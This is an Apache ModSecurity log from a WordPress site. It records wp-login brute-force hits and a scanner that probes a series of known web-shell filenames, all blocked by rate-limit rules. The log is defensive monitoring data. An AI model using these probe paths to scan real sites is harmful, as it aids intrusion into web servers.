[Wed Dec 17 03:05:49.479488 2025] [:error] [pid 64836:tid 64883] [client 109.228.37.48:40768] [client 109.228.37.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.228.37.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUGtjZiNb_9YvA0mnRBkXQAAAFA"]
[Wed Dec 17 04:04:16.128740 2025] [:error] [pid 30691:tid 30757] [client 135.235.159.29:46760] [client 135.235.159.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.235.159.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUG7QDRNSskdld15l1ecWgAAAIc"]
[Wed Dec 17 04:04:18.048325 2025] [:error] [pid 30691:tid 30770] [client 135.235.159.29:46760] [client 135.235.159.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.235.159.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUG7QjRNSskdld15l1ecXQAAAJM"]
[Wed Dec 17 04:04:52.477869 2025] [:error] [pid 30689:tid 30695] [client 135.235.159.29:41361] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aUG7ZLMlOW4IiMebAfJ91AAAAAE"]
[Wed Dec 17 04:04:53.667921 2025] [:error] [pid 30689:tid 30703] [client 135.235.159.29:48524] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aUG7ZbMlOW4IiMebAfJ91gAAAAk"]
[Wed Dec 17 04:04:54.539648 2025] [:error] [pid 30689:tid 30715] [client 135.235.159.29:6243] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aUG7ZrMlOW4IiMebAfJ92AAAABU"]
[Wed Dec 17 04:04:55.847812 2025] [:error] [pid 30690:tid 30733] [client 135.235.159.29:48545] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aUG7Z_fvRFjugNhkzAyd8wAAAEo"]
[Wed Dec 17 04:04:57.185270 2025] [:error] [pid 30784:tid 30809] [client 135.235.159.29:41774] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aUG7aQVENh3j2WfqiT3ZGgAAANc"]
[Wed Dec 17 04:04:58.854398 2025] [:error] [pid 30689:tid 30697] [client 135.235.159.29:51277] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aUG7arMlOW4IiMebAfJ93QAAAAM"]
[Wed Dec 17 04:05:00.812462 2025] [:error] [pid 30690:tid 30744] [client 135.235.159.29:48202] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aUG7bPfvRFjugNhkzAyd_gAAAFU"]
[Wed Dec 17 04:05:02.460802 2025] [:error] [pid 30689:tid 30718] [client 135.235.159.29:51318] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aUG7brMlOW4IiMebAfJ93wAAABg"]
[Wed Dec 17 04:05:02.993716 2025] [:error] [pid 30689:tid 30715] [client 135.235.159.29:41758] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aUG7brMlOW4IiMebAfJ94gAAABU"]
[Wed Dec 17 04:05:04.617139 2025] [:error] [pid 30689:tid 30698] [client 135.235.159.29:43987] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aUG7cLMlOW4IiMebAfJ96AAAAAQ"]
[Wed Dec 17 04:05:07.606387 2025] [:error] [pid 30691:tid 30760] [client 135.235.159.29:48245] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aUG7czRNSskdld15l1ecrAAAAIo"]
[Wed Dec 17 04:05:08.533389 2025] [:error] [pid 30784:tid 30787] [client 135.235.159.29:47992] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zsec.php"] [unique_id "aUG7dAVENh3j2WfqiT3ZIAAAAME"]
[Wed Dec 17 04:05:09.496953 2025] [:error] [pid 30690:tid 30744] [client 135.235.159.29:48237] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aUG7dffvRFjugNhkzAyeCQAAAFU"]
[Wed Dec 17 04:05:11.779372 2025] [:error] [pid 30689:tid 30704] [client 135.235.159.29:50556] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aUG7d7MlOW4IiMebAfJ9-QAAAAo"]
[Wed Dec 17 04:05:13.608100 2025] [:error] [pid 30690:tid 30741] [client 135.235.159.29:48201] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aUG7effvRFjugNhkzAyeEQAAAFI"]
[Wed Dec 17 04:05:14.420773 2025] [:error] [pid 30689:tid 30707] [client 135.235.159.29:6377] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/arig.php"] [unique_id "aUG7erMlOW4IiMebAfJ9-wAAAA0"]
[Wed Dec 17 04:05:15.237089 2025] [:error] [pid 30689:tid 30710] [client 135.235.159.29:52576] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aUG7e7MlOW4IiMebAfJ9_AAAABA"]
[Wed Dec 17 04:05:17.580660 2025] [:error] [pid 30690:tid 30740] [client 135.235.159.29:43086] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aUG7fffvRFjugNhkzAyeFwAAAFE"]
[Wed Dec 17 04:05:19.592033 2025] [:error] [pid 30784:tid 30786] [client 135.235.159.29:47966] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aUG7fwVENh3j2WfqiT3ZKgAAAMA"]
[Wed Dec 17 04:05:21.666641 2025] [:error] [pid 30691:tid 30773] [client 135.235.159.29:65318] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin1.php"] [unique_id "aUG7gTRNSskdld15l1ecuAAAAJY"]
[Wed Dec 17 04:05:22.888372 2025] [:error] [pid 30784:tid 30800] [client 135.235.159.29:51286] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aUG7ggVENh3j2WfqiT3ZMgAAAM4"]
[Wed Dec 17 04:05:24.019072 2025] [:error] [pid 30691:tid 30752] [client 135.235.159.29:49447] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aUG7hDRNSskdld15l1ecvgAAAII"]
[Wed Dec 17 04:05:24.858847 2025] [:error] [pid 30689:tid 30701] [client 135.235.159.29:43079] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aUG7hLMlOW4IiMebAfJ-BwAAAAc"]
[Wed Dec 17 04:05:26.462348 2025] [:error] [pid 30784:tid 30804] [client 135.235.159.29:50511] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aUG7hgVENh3j2WfqiT3ZQAAAANI"]
[Wed Dec 17 04:05:28.177143 2025] [:error] [pid 30690:tid 30725] [client 135.235.159.29:47968] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aUG7iPfvRFjugNhkzAyeIwAAAEI"]
[Wed Dec 17 04:05:28.778020 2025] [:error] [pid 30690:tid 30728] [client 135.235.159.29:65322] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aUG7iPfvRFjugNhkzAyeJAAAAEU"]
[Wed Dec 17 04:05:29.993390 2025] [:error] [pid 30689:tid 30707] [client 135.235.159.29:43111] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aUG7ibMlOW4IiMebAfJ-CwAAAA0"]
[Wed Dec 17 04:05:30.883635 2025] [:error] [pid 30691:tid 30763] [client 135.235.159.29:50505] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/af32.php"] [unique_id "aUG7ijRNSskdld15l1ecxwAAAI0"]
[Wed Dec 17 04:05:31.489824 2025] [:error] [pid 30691:tid 30753] [client 135.235.159.29:48250] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aUG7izRNSskdld15l1ecygAAAIM"]
[Wed Dec 17 04:05:32.640591 2025] [:error] [pid 30784:tid 30786] [client 135.235.159.29:50526] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aUG7jAVENh3j2WfqiT3ZSgAAAMA"]
[Wed Dec 17 04:05:34.216099 2025] [:error] [pid 30691:tid 30767] [client 135.235.159.29:65280] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aUG7jjRNSskdld15l1ec0QAAAJA"]
[Wed Dec 17 04:05:35.422209 2025] [:error] [pid 30784:tid 30808] [client 135.235.159.29:52587] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rz.php"] [unique_id "aUG7jwVENh3j2WfqiT3ZUQAAANY"]
[Wed Dec 17 04:05:37.178733 2025] [:error] [pid 30784:tid 30810] [client 135.235.159.29:50574] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aUG7kQVENh3j2WfqiT3ZWAAAANg"]
[Wed Dec 17 04:05:38.763263 2025] [:error] [pid 30784:tid 30802] [client 135.235.159.29:65330] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aUG7kgVENh3j2WfqiT3ZXQAAANA"]
[Wed Dec 17 04:05:39.949332 2025] [:error] [pid 30784:tid 30801] [client 135.235.159.29:52256] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aUG7kwVENh3j2WfqiT3ZYwAAAM8"]
[Wed Dec 17 04:05:41.881230 2025] [:error] [pid 30689:tid 30718] [client 135.235.159.29:48031] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/let.php"] [unique_id "aUG7lbMlOW4IiMebAfJ-EwAAABg"]
[Wed Dec 17 04:05:43.310082 2025] [:error] [pid 30689:tid 30697] [client 135.235.159.29:52169] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aUG7l7MlOW4IiMebAfJ-FwAAAAM"]
[Wed Dec 17 04:05:45.488467 2025] [:error] [pid 30689:tid 30714] [client 135.235.159.29:46457] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aUG7mbMlOW4IiMebAfJ-HwAAABQ"]
[Wed Dec 17 04:05:47.826518 2025] [:error] [pid 30689:tid 30718] [client 135.235.159.29:6802] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aUG7m7MlOW4IiMebAfJ-JAAAABg"]
[Wed Dec 17 04:06:42.074433 2025] [:error] [pid 30691:tid 30753] [client 135.235.159.29:46146] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUG70jRNSskdld15l1edSgAAAIM"]
[Wed Dec 17 04:06:43.283433 2025] [:error] [pid 30784:tid 30790] [client 135.235.159.29:45349] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUG70wVENh3j2WfqiT3Z1gAAAMQ"]
[Wed Dec 17 04:06:44.768264 2025] [:error] [pid 30691:tid 30774] [client 135.235.159.29:57479] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUG71DRNSskdld15l1edUgAAAJc"]
[Wed Dec 17 04:06:46.646149 2025] [:error] [pid 30691:tid 30752] [client 135.235.159.29:56848] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aUG71jRNSskdld15l1edVwAAAII"]
[Wed Dec 17 04:06:46.784467 2025] [:error] [pid 30690:tid 30738] [client 135.235.159.29:6745] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aUG71vfvRFjugNhkzAyesgAAAE8"]
[Wed Dec 17 04:06:48.104566 2025] [:error] [pid 30784:tid 30788] [client 135.235.159.29:53364] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aUG72AVENh3j2WfqiT3Z3gAAAMI"]
[Wed Dec 17 04:06:48.841167 2025] [:error] [pid 30784:tid 30794] [client 135.235.159.29:53353] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aUG72AVENh3j2WfqiT3Z3wAAAMg"]
[Wed Dec 17 04:06:49.707947 2025] [:error] [pid 30689:tid 30701] [client 135.235.159.29:6374] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aUG72bMlOW4IiMebAfJ-fQAAAAc"]
[Wed Dec 17 04:06:50.630658 2025] [:error] [pid 30689:tid 30717] [client 135.235.159.29:57478] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUG72rMlOW4IiMebAfJ-fgAAABc"]
[Wed Dec 17 04:06:51.017731 2025] [:error] [pid 30690:tid 30733] [client 135.235.159.29:6172] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUG72_fvRFjugNhkzAyeugAAAEo"]
[Wed Dec 17 04:06:52.425010 2025] [:error] [pid 30784:tid 30808] [client 135.235.159.29:53413] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUG73AVENh3j2WfqiT3Z6wAAANY"]
[Wed Dec 17 04:06:53.456306 2025] [:error] [pid 30784:tid 30789] [client 135.235.159.29:45314] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aUG73QVENh3j2WfqiT3Z7wAAAMM"]
[Wed Dec 17 04:06:55.002826 2025] [:error] [pid 30689:tid 30711] [client 135.235.159.29:57492] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUG737MlOW4IiMebAfJ-iQAAABE"]
[Wed Dec 17 04:06:56.130520 2025] [:error] [pid 30689:tid 30712] [client 135.235.159.29:44414] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUG74LMlOW4IiMebAfJ-jwAAABI"]
[Wed Dec 17 04:06:57.215051 2025] [:error] [pid 30691:tid 30775] [client 135.235.159.29:44783] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aUG74TRNSskdld15l1edawAAAJg"]
